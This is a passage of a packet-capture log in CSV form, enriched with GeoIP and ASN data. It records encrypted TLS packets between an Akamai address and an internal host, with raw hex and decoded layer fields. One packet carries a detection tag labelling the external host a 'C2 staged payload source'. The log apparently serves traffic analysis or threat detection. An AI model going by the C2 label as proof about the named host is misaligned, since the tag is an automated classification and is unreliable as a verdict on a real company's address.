\"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616608193, \"\"ack\"\": 2473780001, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:34.876450,15,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=616608193 Ack=2473780001,bc2411360d0cbc24112907bb080045000d809bee400040069982b81e9d450a98980b01bbf9c624c0b1c19372e3215018003f057a00001703031f9c453155f8677edd53c7b3ab97a8ab435bcc44cc96521f0d312f12664d2345f9de51ddd6dec56fa88b687aad3a52c9a9e4e052c523c0932ada6b42834a02b2dc29ce2cc22da2404b3473e15396a77336edb1d2e786b363befca934930deec10c6a9daab1cda760593f0d718b8405266ba698c2945d1992966f86b27aae302d5f0ac1922173f1d4912379e7d9ca5abe775bf120d6aaa0c065994a009195db8ad1ccbf5d755a8161e90b859a88ec1966958a46e7dd32e2d2d6d01185a06840e1eb96442b1e9fe36518085370a1dd77fd515ee807d15430af6111c84cac7efa1cf821662f92e0e672047e4f72a9c153f5fcaa7f39bc00b1273c50aa43bf95c43dcf3f9d992656b2b7056b9a633e4c2372e180b83c1487a555fe3b098127d6c13b8892e2174ebff2b7188e58049126a3e647ad47b56879d33525b39148ad3ad54ed44a240ffda4fa5c1c49b477e6b95adbb77a82ce0dd15bf8b8657bd20281e6ae05b2cd867a61caa0d802dfca48be0e855e4881f81989091dff160bf213bbfde92f0953af599d63607575b8dfe5f4b412b63743d202e283f58a556251c13d99de83f6ffc42d949eea781bd8050d83b17672fc543dd366ae860836301d2e6855c91345060aba83a78999154d10f8706e95c97a016064dc925f5d3462b863e8bf71d869e100b96496d9afe37bdbedd7d39aeb973cab0f199b80e67a9f910155ac12611a7fcc03033b14ae6d690373ff13c2cf3084f7dec6a74818abd3b80c1d29e1e8f541f116ae81c3442ea2a15c416b023ff1295ee38abe54d8376dc7dd67e71cf3e329ce65e0d179a4ccb837428fd556f1d94b07bba2016041507246ddd5273d206092fb28a068633540f44c23e0b04b4a6723047d5739492765b98741afc046f733f3d7c2b5234cc1e7262a73d7a605d7069047584eb327c14323aeeb3e9e532ac6949ba40ad3f77170027201fa154539cb64a20b678c7252bb61f3a2ffd4e6a4c8e39256e3e8506d302b61e322b6261b3a4c027cd7d27af085d28c8a7890a35bce640abcb21e9d6919f41e12054b0273309fc27d06dda3415085565afcc51b020d4504864321298bdd9afdb3e869e7884a28e5410aba1f40f4ff11a0ea8621eb0d3c1acd3a84316860a5652f4581eb98aa964a158b6aa20eab0be911efa546f81727f3a3ff6b1785d4781e7b736398dab7cd114ad0eb8ce57be54be221cea0fa5016dc5907f14363a1a74b30cb64a477abb9281f6be6fa3d54afb76157db901bc277389c674365e2961e65e2fc835c8f1e7049608fbce1a07ae803daaff3fd2fc168c7351d82068778275648e5c828e6678ff661d28cee481f9239b0aef36e452e2463cc04ac89219458a093a3fa86ee2edc9554cf9ef304dac14aa10b624741d49ad50857c48a69ec8bf8cf93647c0c221a87ff5183c1d879e5456ed3f46a80af3effbd0fe2d3a49e3cb0c2e8dd55c0c4001dc483fa6f99d1eac6932f4aca42e43d189e59122d4a1ca00f03ee2ee7988b73cf1b8d57f4ef13c56f29e4138f554d4fc18f4981f5d8f4e7cf1112ae20d7a78573545fb97c5017579f0efe8ac8eef20168d9408aaaddec86d64fec4ebb210be160cc4c4df717ce3646ba448f715eb9309a1010d1a104d297c604ffa1de081b5bce58515592d9b3883c440a2a57c13f3d8ad2141476ca610a6e84dd2274a7bd6fd2167bcaba67574d61171c6434f38eded5c504115e7825bbc666e03641c50036d0b86310888a47934cafc1d0dbad1ccc1f27f3251656756e6723b472bdd989fb93a8a32c4670e2fd82ec2c50677b1e8fbc92937455ef77b7e400f4feb2d2b2b7d87f8b42410e52e429c788be59dbf8a832d393f240eff7ec146ea11431a5784cde43a9cf62e90a4244a50b527e5304678985112c6b2871a260538383e06fc7f4a487b0efb85f66d42561b29b101b6211e547555e360b3579351a336ee9036288e8467061a5fc8c441e62ace242181dd399e62f26ac05e2e466ee9f263adf88bcdea44f3eea07fc195d2b92a69aaf817cf4c8f5e2980a00f7d9b8a1d966bb8836bc1141e533096a00ceef9327758c11d0863a304adcf01e8044f933185e48efb9941cd0cbc62046998203f80ca003f8c7246c13573ec9beeb8a44eaf4ad5f08c0feac8314e45cba2008f8eaa5c5d88de4ead73b6ec2d87c548edf08745c40845d0d1d8fb2a504544b468c84390bca3b1f55800296c3093911c3b63d2990f23e9974ec01ba2e8e06ce0e0797eec7c1f426ad3db1e9e352a53c02f23198ad3657488f1a99c9b897e39fefee93f8bda448c8e5d0e7d9cfeba0e1fef2f116b55f93cbdcdbecf7e84689fecf3e45a383728be5048a2c5a45070ec1a75685f1dbaf23f2edff29fece66c2f8024b1edc44dd4210696a3a12129a1722b61ba63fbe7c5a53cc1575694411ba9384f7e2bff13571d7268ccdda26653ee22d7d3192a1dc876f65a501766eaf0517008156328c450fab43a567012b360f121f4e8fb1bdf37c73922c3743457b587e684abf82666c8e3fa68e81d39f75883c604fdc311fd0659bb5721dfb7ca16f33abb753f7fb2f7fc46eb04f88397cd84f6df6adec5d6804a76dc6c8e312dfa3b36d3bd78cb902037466454d819be8f19416cd2a28cd3c588901b527cbe6f190f8fa7dffecc0875d9cbe17001ada2bc0237d6c3ab74407b485ace1225cb61336deee3cae9c2ce5ada326653524e57a72dd3b4b79d0263b14dcbdf3f8147cee3be2cff7941dc8c1ecd29164ea8890918eac4ec39361c3d335956bba6f66a5dd10ae9e5c66a0ebd550fb6172e6958e59003f3915bf395a33fb8cd1d95dc90285dc9881ae555f785f0417c8a929405ec5881b2a6b1d2fdb2250e103bc7d7d767e9aa25783944e630d9e5f0951c961ebfe1d2a3aff65f72bb6d57933a95dc4994ae208394a1ad4e6eb1dbcd869ea1894c4e0c41d6dd6cb9eb1266ae595cf37d5029d3e818020b83ed507ba0ee454fd378afa9167ffce6b5b9bcbdb7a74ab8ba5d32aed000a7adca6909bba0d897591ca28e682293a8fbdec60c5cd131d57633a378e9cece246c4abcf7643ba16761327e0a68160af81799744f9c8075cec3882a4d5e4ebf8e5e49c1c053044905c72f10b457120675706e19f20bbbcf0c14123b08688b441d564ea2216b7dea804b76950537875441331aaeb785b002ccb1173192b04db340f94dbf9b7d04c23f10ce2daada24fde6bb76f4e8ae2eb02e2f62b7e2c02ef07f25ac1c4c34a66fab23b2715d9d05103082f920998a3b229a202066bfe1896a7bcfaaf577e7f5d13e5d23373ddbf68f9b5ad12a2bb77b9090eab37f1bff370804a66394ae8decb18ec3052ffe1ecffb75b86fbdc01f027f4913a82b6550bd4607086e46877cfbf146cb7ebb9ff32af97ade6f7f18896d07a87923c2ddfeb0a76eb378d8c47a0e809580beef7fc808a05dd27abe7bbe23cbffcefa291a2ed278878d11f6401baf291c2388e7eea25f19a15fc7d8da9b2573b02b47932d6f4df075cc4017f25e53ef509564c293e3ae6e2ab245f865204e1737987e29a904e29140e6ca00f1cdc038e9c770d82be5ea09a3ef75bd5d60507f1677111fcc880adb1cdeb4b37ff0e2d2d27df4b60947d98a42924e9b0b17d8bf0f2f50d09939180d8f787b7014e9fe590ea04586ac1a1e530381d34036560b37538cb38f7ba3299bb77d99b8f1bfb3fec16bfb9b6643ff80326fcb9e16b714b0f1dd793737e16962abb295933fed1ce5b1b248adeec656e1f6c78f850b1970db7ac0a0d04705d1c0fecfdb8f501f6948f18950bab6cde9bb6333cb298799e90192dd393c399d85011776b35e924557b4e5b9ab6a7ecddee8f15e8ea0ef69b79814a5c7dfa3d264832ed4e3b377619d19a6d8ca34a027a68d7c7a5ecc5bce1369641451aedfd22494d27001f0c5a773e405f8bc71498d98a7272b6cf964243aa44c6158cc8bced88101a18f890108f7737311343afea782d8ab8204b094dfed04002d852ede5b7f8ee278a06b1801165f9a021efa1c23d7fd4f15814a4c8e71432cda441ad9322242ee4c7f231c78350e92a286e0a29c0fcc8aca94d28a5f73bf0b562de246b7c80c606131cc2ca42d33b03327ca5713fcc14ca1d9cb93e585d12d170d666ee432f4510353ce1e02148a392acd9dc8e9634f87b72c87546b711581cfb47659d424135f669d2fc510f5fbc47b603cf09a1376cefaea7ed888a3d0590e98da2c84254e7fa5f97f14ccbf87f32c0f529af8e30d0e3cfa46de3e34607be23a28d6a15fbe0f5fa4a8e629696a10aef7ca59df2c8e9b45b6dc7e6a149e9c182c146833aaab4a3f5ce7540a749f0310dab1de4bb9c5e31f812c0048cbc612df34dd39b8196cbef73a7d70f04a6c857a5cd81cab48c37511e17310872341ac4fb87fb780aabb5c7c710710de3eb8ea381ba1f2af93df6eacf270db0daea81901353792ec072376dbdc1b691abfefe6ec0303a190d2dc2040ddce6d0527eae414c84676db30868fe9969c66ac27ca8535ea0652cb74f3295b4ccc8511d359e8f927effe2692f087bcbc68d25f99ff3c1ef732fee46ffcebea1b40ed7e3071ca8c405b0651076f87453db7c184578b7a594ae71610e6663fc52ec2d47b9ad36d0cd783d0700689f4479453c10c468c65741e592f1cdcc75a50633b297a8ed90aa4098eb15fda14b5aa51e26120c7a3025d99e624f636ce8d99eb17171f75965960f10ba87302452b0082c76eb66c1a42bfbe25c99700fc6c868c6740f9bdbc0d35c8742dfde7e10c47ed1ad68e2adcb5844a4f7fe68ca6aba6280ea612fa5a1,\".$.6\n..$.)....E.\n...@.@......E\n.......$....r.!P..?.z.......E1U.g~.S......C[.D..R.\n1/.fM#E..Q....o..hz.:R....R.#..*.kB.J...).,.-.@K4s.S..s6......c...4.\n...j.....`Y?\nq...&k....]...o..z.0-_\n..!s...#y...Z.w[. ....e.J........]uZ.a.......f..F..2.......h@...D+...e..Sp..w.Q^...T0.a..L.~...!f/...r.~Or..S....9...'<P.C...=.?..&V...k.c>L#r...<...U.;\t.'..;....N.....X..&..G.G.hy.5%..H.:.N.J$....\\.I.w..Z..z..\n.[..e{.........za......H...^H....\t........./\tS.Y.c`uu.......7C......UbQ.=......-...x...\n..vr.T=.f...60..hU..E.\n......M..pn..z.`d.._]4b.c..q.i...d....{.......<......z...U..a.....;..mi.s....0.....H......)...A.....D...\\Ak.?.)^...T.7m..g....).e..y...7B..V..K....`APrF..'= `..(.hc5@.L#..KJg#.}W9I'e..A..F.3....#L..&*s......GXN.'.C#..>.S*....\n..qp.r...E9.d..g.rR.a.........V..Pm0+a.\"\".&.:L.|..z.....x..[.d\n....i.....K.s0..}...AP.VZ....\nE..C!)......i..J(.A\n..@......!.\n<..:.1h`.e/E.....J..j........F..'...k...x.{sc.....J....{.K.!...P..Y..Cc..K0.d.w..(.k..=T..aW....w8.gCe...e...\\..pI`....z....../.h.5....x'VH..(.g..a...H..9...nE.$c....!.X.........T......J..bGA....W..i.....d|.\"\"...Q...y.En..j..>.......<....U.......o...../J.B.=..Y.-J.........s...W....o)...UMO..I......... ...sT_.|P.W........h.@......O.N.!..`.LM...6F.D.q^.0...............[.XQU....<D\n*W.?=....v.a\nn..\"\"t..o..{..gWMa..d4.......^x%..f.6A..6..c...G.L........'.%.Vung#.r.......,Fp....,Pg{.....tU.w............BA.R.)...Y...2...@....n..1.xL.C..b.\nBD..R~S.g...,k(q.`S...o......._f.%a....b..GU^6.5y5.3n..b..Fpa...D.b..B...../&....f..&:.....O>....]+.....|.....\n......f..6..A.3\tj....'u....:0J....D.3.^H....... F.........$l.W>....D..._.......\\. ..........;n..|T...t\\@.]\n.....TKF..9..;.U....\t9...=)..>.t..............&.=...R.<..1..6WH..............H.............._.......F...>E..r....,ZE....V....#...)..f...K..D.B.ij:....\"\"...?.|ZS..uiD........5q.&...&e>.-}1....oe..vn.....V2.E..C.g.+6...N....|s.,7CE{X~hJ..fl.?.....u.<`O.1..e..r..|.o3..S../..n.O.9|.Om...]h..m.......m;.....tfEM.......*(.<X...'......}....]......+.#}l:.D.....\"\"\\..6..<..,...&e5$.zr.;Ky.&;......|.;..........d......N..a..5.k.of.....\\f...P.ar...Y.?9..9Z3....].......U_x_....)@^...*k./.\"\"P...}}v~..W..Nc\n._\tQ.a...*:.e.+..y3.]..J..9J.......i.......m....&j...7...>.. .>.....T.7...g..k[...zt....*..\nz.....\n.u..(..):...`....Wc:7....F...vC..v.'...`..y.D...\\.8...........0D.\\r..Eq gW... ....A#....A.d.\"\"......iPSxuD.1..x[.,..s.+..4......L#......O.k.oN......+~,....Z...Jf..;'...Q../.\t...)...k.......W~.]...3s..h......w.\t..7...p.Jf9J.....0R.....[.....'..:..U..`p..hw...l....2.........z..<-..\nv.7..G..\tX........'....<.......'.x..d.....8.~.%....}...W;..y2....\\...%.>.\tVL)>:...$_.R..sy....N)..l.......w\n..^..>.[.....gq........K7..--'.K`.}..)$...}....\n\t........N.....Xj...08.4.e`.u8.8..2..w.....?.....d?..&...kqK....s~..*.)Y3...[.$...en.lx.P..\n..\n\n.p]..............l...3<..y...-.....P.wk5.$U{N[.............y.J\\}.=&H2.N;7v...m..J.zh.......6.AE...\"\"IM'...Zw>@_......rr...BC.D..............w71.C..x-.. K\tM..@..R.....'.....e..!...=...X.....2..A..\"\"$....1..P.*(n\n).....M(..;..b.$k|.......B.;.2|.q?......>X]..p.f.C/E.5<..!H.......4.{r.uF..X..Ge.BA5.i..Q._.G...\t.7l......=......BT.._..L...2..)..0....m..F..#..j.....J.b...\n.|......[m...I....F.:.....u@.I.1\n.....^1......a-.M......s......W......7Q..1.r4.....x\n.....q\n.......*.=...'\n......Sy..r7m.......n.0:.\n-..\n...R~.AL.gm..h..i.j.|.S^.e,.O2....Q.5...~..i/.{...%.....s/.F..............e.v.tS.|.Ex....qa.fc.R.-G..6..x=..h.DyE<..h.WA.....u..3......@.....KZ..&..z0%..bOcl....qq.Ye.....0$R..,v.f..+..\\.p...h.t.....\\.B..~..~..h...XD...h.j.b..a/..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 39918, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 39298, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616608193, \"\"ack\"\": 2473780001, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 1402, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1703031f9c453155f8677edd53c7b3ab97a8ab435bcc44cc96521f0d312f12664d2345f9de51ddd6dec56fa88b687aad3a52c9a9e4e052c523c0932ada6b42834a02b2dc29ce2cc22da2404b3473e15396a77336edb1d2e786b363befca934930deec10c6a9daab1cda760593f0d718b8405266ba698c2945d1992966f86b27aae302d5f0ac1922173f1d4912379e7d9ca5abe775bf120d6aaa0c065994a009195db8ad1ccbf5d755a8161e90b859a88ec1966958a46e7dd32e2d2d6d01185a06840e1eb96442b1e9fe36518085370a1dd77fd515ee807d15430af6111c84cac7efa1cf821662f92e0e672047e4f72a9c153f5fcaa7f39bc00b1273c50aa43bf95c43dcf3f9d992656b2b7056b9a633e4c2372e180b83c1487a555fe3b098127d6c13b8892e2174ebff2b7188e58049126a3e647ad47b56879d33525b39148ad3ad54ed44a240ffda4fa5c1c49b477e6b95adbb77a82ce0dd15bf8b8657bd20281e6ae05b2cd867a61caa0d802dfca48be0e855e4881f81989091dff160bf213bbfde92f0953af599d63607575b8dfe5f4b412b63743d202e283f58a556251c13d99de83f6ffc42d949eea781bd8050d83b17672fc543dd366ae860836301d2e6855c91345060aba83a78999154d10f8706e95c97a016064dc925f5d3462b863e8bf71d869e100b96496d9afe37bdbedd7d39aeb973cab0f199b80e67a9f910155ac12611a7fcc03033b14ae6d690373ff13c2cf3084f7dec6a74818abd3b80c1d29e1e8f541f116ae81c3442ea2a15c416b023ff1295ee38abe54d8376dc7dd67e71cf3e329ce65e0d179a4ccb837428fd556f1d94b07bba2016041507246ddd5273d206092fb28a068633540f44c23e0b04b4a6723047d5739492765b98741afc046f733f3d7c2b5234cc1e7262a73d7a605d7069047584eb327c14323aeeb3e9e532ac6949ba40ad3f77170027201fa154539cb64a20b678c7252bb61f3a2ffd4e6a4c8e39256e3e8506d302b61e322b6261b3a4c027cd7d27af085d28c8a7890a35bce640abcb21e9d6919f41e12054b0273309fc27d06dda3415085565afcc51b020d4504864321298bdd9afdb3e869e7884a28e5410aba1f40f4ff11a0ea8621eb0d3c1acd3a84316860a5652f4581eb98aa964a158b6aa20eab0be911efa546f81727f3a3ff6b1785d4781e7b736398dab7cd114ad0eb8ce57be54be221cea0fa5016dc5907f14363a1a74b30cb64a477abb9281f6be6fa3d54afb76157db901bc277389c674365e2961e65e2fc835c8f1e7049608fbce1a07ae803daaff3fd2fc168c7351d82068778275648e5c828e6678ff661d28cee481f9239b0aef36e452e2463cc04ac89219458a093a3fa86ee2edc9554cf9ef304dac14aa10b624741d49ad50857c48a69ec8bf8cf93647c0c221a87ff5183c1d879e5456ed3f46a80af3effbd0fe2d3a49e3cb0c2e8dd55c0c4001dc483fa6f99d1eac6932f4aca42e43d189e59122d4a1ca00f03ee2ee7988b73cf1b8d57f4ef13c56f29e4138f554d4fc18f4981f5d8f4e7cf1112ae20d7a78573545fb97c5017579f0efe8ac8eef20168d9408aaaddec86d64fec4ebb210be160cc4c4df717ce3646ba448f715eb9309a1010d1a104d297c604ffa1de081b5bce58515592d9b3883c440a2a57c13f3d8ad2141476ca610a6e84dd2274a7bd6fd2167bcaba67574d61171c6434f38eded5c504115e7825bbc666e03641c50036d0b86310888a47934cafc1d0dbad1ccc1f27f3251656756e6723b472bdd989fb93a8a32c4670e2fd82ec2c50677b1e8fbc92937455ef77b7e400f4feb2d2b2b7d87f8b42410e52e429c788be59dbf8a832d393f240eff7ec146ea11431a5784cde43a9cf62e90a4244a50b527e5304678985112c6b2871a260538383e06fc7f4a487b0efb85f66d42561b29b101b6211e547555e360b3579351a336ee9036288e8467061a5fc8c441e62ace242181dd399e62f26ac05e2e466ee9f263adf88bcdea44f3eea07fc195d2b92a69aaf817cf4c8f5e2980a00f7d9b8a1d966bb8836bc1141e533096a00ceef9327758c11d0863a304adcf01e8044f933185e48efb9941cd0cbc62046998203f80ca003f8c7246c13573ec9beeb8a44eaf4ad5f08c0feac8314e45cba2008f8eaa5c5d88de4ead73b6ec2d87c548edf08745c40845d0d1d8fb2a504544b468c84390bca3b1f55800296c3093911c3b63d2990f23e9974ec01ba2e8e06ce0e0797eec7c1f426ad3db1e9e352a53c02f23198ad3657488f1a99c9b897e39fefee93f8bda448c8e5d0e7d9cfeba0e1fef2f116b55f93cbdcdbecf7e84689fecf3e45a383728be5048a2c5a45070ec1a75685f1dbaf23f2edff29fece66c2f8024b1edc44dd4210696a3a12129a1722b61ba63fbe7c5a53cc1575694411ba9384f7e2bff13571d7268ccdda26653ee22d7d3192a1dc876f65a501766eaf0517008156328c450fab43a567012b360f121f4e8fb1bdf37c73922c3743457b587e684abf82666c8e3fa68e81d39f75883c604fdc311fd0659bb5721dfb7ca16f33abb753f7fb2f7fc46eb04f88397cd84f6df6adec5d6804a76dc6c8e312dfa3b36d3bd78cb902037466454d819be8f19416cd2a28cd3c588901b527cbe6f190f8fa7dffecc0875d9cbe17001ada2bc0237d6c3ab74407b485ace1225cb61336deee3cae9c2ce5ada326653524e57a72dd3b4b79d0263b14dcbdf3f8147cee3be2cff7941dc8c1ecd29164ea8890918eac4ec39361c3d335956bba6f66a5dd10ae9e5c66a0ebd550fb6172e6958e59003f3915bf395a33fb8cd1d95dc90285dc9881ae555f785f0417c8a929405ec5881b2a6b1d2fdb2250e103bc7d7d767e9aa25783944e630d9e5f0951c961ebfe1d2a3aff65f72bb6d57933a95dc4994ae208394a1ad4e6eb1dbcd869ea1894c4e0c41d6dd6cb9eb1266ae595cf37d5029d3e818020b83ed507ba0ee454fd378afa9167ffce6b5b9bcbdb7a74ab8ba5d32aed000a7adca6909bba0d897591ca28e682293a8fbdec60c5cd131d57633a378e9cece246c4abcf7643ba16761327e0a68160af81799744f9c8075cec3882a4d5e4ebf8e5e49c1c053044905c72f10b457120675706e19f20bbbcf0c14123b08688b441d564ea2216b7dea804b76950537875441331aaeb785b002ccb1173192b04db340f94dbf9b7d04c23f10ce2daada24fde6bb76f4e8ae2eb02e2f62b7e2c02ef07f25ac1c4c34a66fab23b2715d9d05103082f920998a3b229a202066bfe1896a7bcfaaf577e7f5d13e5d23373ddbf68f9b5ad12a2bb77b9090eab37f1bff370804a66394ae8decb18ec3052ffe1ecffb75b86fbdc01f027f4913a82b6550bd4607086e46877cfbf146cb7ebb9ff32af97ade6f7f18896d07a87923c2ddfeb0a76eb378d8c47a0e809580beef7fc808a05dd27abe7bbe23cbffcefa291a2ed278878d11f6401baf291c2388e7eea25f19a15fc7d8da9b2573b02b47932d6f4df075cc4017f25e53ef509564c293e3ae6e2ab245f865204e1737987e29a904e29140e6ca00f1cdc038e9c770d82be5ea09a3ef75bd5d60507f1677111fcc880adb1cdeb4b37ff0e2d2d27df4b60947d98a42924e9b0b17d8bf0f2f50d09939180d8f787b7014e9fe590ea04586ac1a1e530381d34036560b37538cb38f7ba3299bb77d99b8f1bfb3fec16bfb9b6643ff80326fcb9e16b714b0f1dd793737e16962abb295933fed1ce5b1b248adeec656e1f6c78f850b1970db7ac0a0d04705d1c0fecfdb8f501f6948f18950bab6cde9bb6333cb298799e90192dd393c399d85011776b35e924557b4e5b9ab6a7ecddee8f15e8ea0ef69b79814a5c7dfa3d264832ed4e3b377619d19a6d8ca34a027a68d7c7a5ecc5bce1369641451aedfd22494d27001f0c5a773e405f8bc71498d98a7272b6cf964243aa44c6158cc8bced88101a18f890108f7737311343afea782d8ab8204b094dfed04002d852ede5b7f8ee278a06b1801165f9a021efa1c23d7fd4f15814a4c8e71432cda441ad9322242ee4c7f231c78350e92a286e0a29c0fcc8aca94d28a5f73bf0b562de246b7c80c606131cc2ca42d33b03327ca5713fcc14ca1d9cb93e585d12d170d666ee432f4510353ce1e02148a392acd9dc8e9634f87b72c87546b711581cfb47659d424135f669d2fc510f5fbc47b603cf09a1376cefaea7ed888a3d0590e98da2c84254e7fa5f97f14ccbf87f32c0f529af8e30d0e3cfa46de3e34607be23a28d6a15fbe0f5fa4a8e629696a10aef7ca59df2c8e9b45b6dc7e6a149e9c182c146833aaab4a3f5ce7540a749f0310dab1de4bb9c5e31f812c0048cbc612df34dd39b8196cbef73a7d70f04a6c857a5cd81cab48c37511e17310872341ac4fb87fb780aabb5c7c710710de3eb8ea381ba1f2af93df6eacf270db0daea81901353792ec072376dbdc1b691abfefe6ec0303a190d2dc2040ddce6d0527eae414c84676db30868fe9969c66ac27ca8535ea0652cb74f3295b4ccc8511d359e8f927effe2692f087bcbc68d25f99ff3c1ef732fee46ffcebea1b40ed7e3071ca8c405b0651076f87453db7c184578b7a594ae71610e6663fc52ec2d47b9ad36d0cd783d0700689f4479453c10c468c65741e592f1cdcc75a50633b297a8ed90aa4098eb15fda14b5aa51e26120c7a3025d99e624f636ce8d99eb17171f75965960f10ba87302452b0082c76eb66c1a42bfbe25c99700fc6c868c6740f9bdbc0d35c8742dfde7e10c47ed1ad68e2adcb5844a4f7fe68ca6aba6280ea612fa5a1\"\"}}]\"\n2026-06-14 14:28:34.876646,16,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2473780001 Ack=616611609,bc24112907bbbc2411360d0c0800450000282fb640008006d3120a98980bb81e9d45f9c601bb9372e32124c0bf195010201441c90000,\".$.)...$.6\n...E..(/.@.....\n......E.....r.!$...P. .A...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12214, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54034, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473780001, \"\"ack\"\": 616611609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 16841, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:34.893723,17,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=616611609 Ack=2473780001,bc2411360d0cbc24112907bb080045000f689bf1400040069797b81e9d450a98980b01bbf9c624c0bf199372e3215018003f07620000ad76ab3cb168e30d2cc7d1475a5779960faeaf994d661d04c78e9dbcb58f98b18491fe6b93db04bfcfbb2560da778a01cfaa5c19624bfe569b8f658cda622a66322e68ae83bbd989bf6d95e59da6f0b1eee5622b104d872ad41019bf5f61a2238aa00023e897a0f118a8478d23195f0780710ba8404f8baa9ae21aa0478543afdd6580707be547fd1f4e2c0a56c1dc5458358a871a210f3d2f007843fa118edf2152aadfedb8bc4e4d5b2ffc6401c6385521b085d4f4ee4705ff54edb10ff84b42857613eea2558f5dc2f99b583a259c8c3900bafaa19921d96314982e0ff57a5b3e1fdfca723652a9c9982ffe171c1670cd2348fb346ec7e38309975f350c00d520a9d523fe93bec6107896a024d91d8f6bb6f282454e6b791faa23a9931d326e7c0d4f1dfde8a85fcc330e0a7dfd1c763b4357d4c884dff05dc0652ba63ef916a0f4c866761c8dea4c723196d883107762e277772090b2ca6b5b5c5a53a5ae1e6d49850b4952370fcb509432dd8350e959c97232bd89e28069fbad24cd034f677ab84217d9d661182d06819af2223ebf2582e9535703771270ffccd536bf15bcd5d4a533b5b505013ac5c6b8fec5d368e5ab024c79e60dda423d9a51bd67ccc9b3c25fd81b7dea0658befe12828c11a58dbee6ef9f7791352bc8925ad1ddb77a6f4691754cb1f76775d5f2809f8f99e9657ba237ee9d0ef075c193abaea0ee1ebe67a67fea3ee462c724caf83066fff8432f5b1831ffcb865223b65141bd598e9041083bd7ea395d7338bda69a61f20ec0f4cd5d5359d7ed391719d702ca9975fb10dc74c19a65aee503362e06eac058257ab29db90d936dcc4138ed78ca11ab13972f88ba324b43c9978dcc36e3b16526a5bfcc497eb6c961e21e37376661c7b96fd13574136b874e5692308695a84dca10c7138c27ef3849155e1ce4d1b1cfd90ea754f659f4d37baa1a61f53d155461c85ea760fa0eff80757fcbb2ed903c3bda9ad9794ae7f2fd745f50bdd6d37759bbf067ecf28e55e63ad90018b3b50d80b5d405a5081d43e1e9e2d60213062f9202f4bfbbc89d6b7e9a307c4722ddd24cdd22a2aae019cd8b6ff0ee577886c401d7d35c2376e541c5a856031e12e4d9a8555cb3e3a3be41287ddc369e16a5b17c919e97ed7c8c82c3c497d5a1c37a5fec8dc1a396cf2f3c75532a1e2de3f27bc9bc5f8155bd2b25b75dead967a5c70deb63bfbc221185481beba43e8ac4e9493ade4fb1768c3a33829a68bb42f61ac2966b891cb06c154b3d9bddd3dd5707caec587f3b3981fc882e4d4e210e83d58d9169cd71c3c2e082b6bde9055fa4cbf448e9326ac0b817a8d5e9f1a4a0cf3557d54af6a04bd386b1f44f4c6d1f3c4933f1109c0fea4b16d05ead39d46c7037d330feb058ca6c8ed921bda9b1301b3c9bcca3dbdb6608b465d20f18265d93a454f43309d72d824a9c93575c26e4e0cb696e741244422687a9805f678b99285d6edc3ae15c87f5403028a053791ea5786c96faf7cb24ce57b3e70a41698c6220f764251c65dfb68dd0244cff921ef14079b5e26a9b6479cd9831cf2257f02443d1b7c2f488cce02ba56f0dcff5813d47e951be7a8c688f76d8f123d4a6841de38e732eed506531bd8f1349e1aaf60b012c9ef2a007285f713d29e78c4e201a94ae7afad4ec19c02b47c3122df66920c0d0761543a14a1326573336af7f85d1d12cdb74f513f9237e5a34c82dda6aec75010dd2439b86493b6e0502b64e504127f82e79cb008e53c9a01d1199391c4ba4f6